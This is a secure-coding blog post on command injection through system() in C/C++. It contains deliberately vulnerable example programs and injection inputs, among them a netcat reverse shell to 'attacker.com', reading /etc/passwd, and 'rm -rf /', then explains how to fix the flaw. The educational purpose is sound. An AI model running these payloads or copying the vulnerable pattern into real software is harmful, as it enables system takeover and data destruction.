Command Injection in C/C++: Why system() with User Input is Dangerous
Command injection is one of the most common and dangerous security vulnerabilities in C/C++ applications—especially in Linux utilities, embedded systems, and IoT devices. This post explains what command injection is, why it happens, and how to avoid it, with practical examples and secure coding tips.
What is Command Injection?
Command injection occurs when an application constructs a shell command using user input and executes it. If the input is not properly sanitized, attackers can inject additional commands, gaining control over the system.
Why is system() with User Input Dangerous?
The system() function passes a string to the shell (like /bin/sh), which interprets special characters such as ;, &&, |, and more. If user input is included in this string, an attacker can break out of the intended command and run arbitrary code.
Example 1: Vulnerable Ping Utility
#include <iostream>
#include <cstdlib>
#include <string>
int main() {
std::string ip;
std::cout << "Enter IP to ping: ";
std::getline(std::cin, ip);
std::string cmd = "ping -c 1 " + ip;
system(cmd.c_str());
}
Why is this dangerous?
Suppose a user enters:
8.8.8.8; uname -a
The program will execute:
ping -c 1 8.8.8.8; uname -a
The shell runs both ping and uname -a, leaking system information. Attackers can chain any command after the ;.
Example 2: Vulnerable Welcome Message
#include <cstdlib>
#include <iostream>
#include <string>
int main() {
std::string name;
std::cout << "Your name: ";
std::getline(std::cin, name);
std::string cmd = "echo Welcome " + name;
system(cmd.c_str());
}
If the user enters:
Hamzeh; reboot
The shell executes:
echo Welcome Hamzeh; reboot
This could reboot the device! Any command after ; (or &&, |, etc.) will be executed.
How Shells Interpret Special Characters
Shells treat characters like ;, &&, |, >, <, and backticks as command separators or operators. This means user input can break out of the intended command and run anything the attacker wants.
Why is This Common in Embedded and Linux Systems?
- Many legacy Linux utilities and CGI scripts use
system()for convenience - IoT and embedded devices often use C/C++ and copy old code
- Developers may not expect hostile input (“nobody will see this UI”)
- Resource constraints lead to shortcuts and less input validation
Real-World Consequences
- Attackers can run arbitrary commands (e.g., add users, open firewalls, install malware)
- Device takeover, data theft, or bricking
- Botnet recruitment (Mirai, etc.)
- Full system compromise
How Attackers Think
Attackers look for any place where user input reaches a shell command. They try inputs like:
; cat /etc/passwd| nc attacker.com 4444 -e /bin/sh&& rm -rf /
They experiment with different separators until they get code execution.
How to Fix It Properly
1. Avoid system() with User Input
- Use library APIs (e.g.,
pingvia sockets, not shell) - For output, use
std::coutorprintf, notsystem("echo ...")
2. Input Validation and Sanitization
- Only allow safe characters (e.g., digits and dots for IPs)
- Reject or escape anything else
3. Use execve/fork Instead of system()
- Build argument arrays, avoid the shell
- Example:
#include <unistd.h>
char *argv[] = {"ping", "-c", "1", ip.c_str(), NULL};
execvp("ping", argv);
4. Use Allowlists
- Only accept known-good values (e.g., valid IPs, usernames)
Security Takeaway
Never pass user input directly to system() or shell commands.
- Always validate and sanitize input
- Prefer library APIs or direct system calls
- Avoid shortcuts that trade security for convenience
Command injection is easy to introduce and devastating if exploited. Secure coding practices are essential for all C/C++ developers, especially in embedded and Linux environments.
Stay safe, and always think like an attacker when reviewing your code!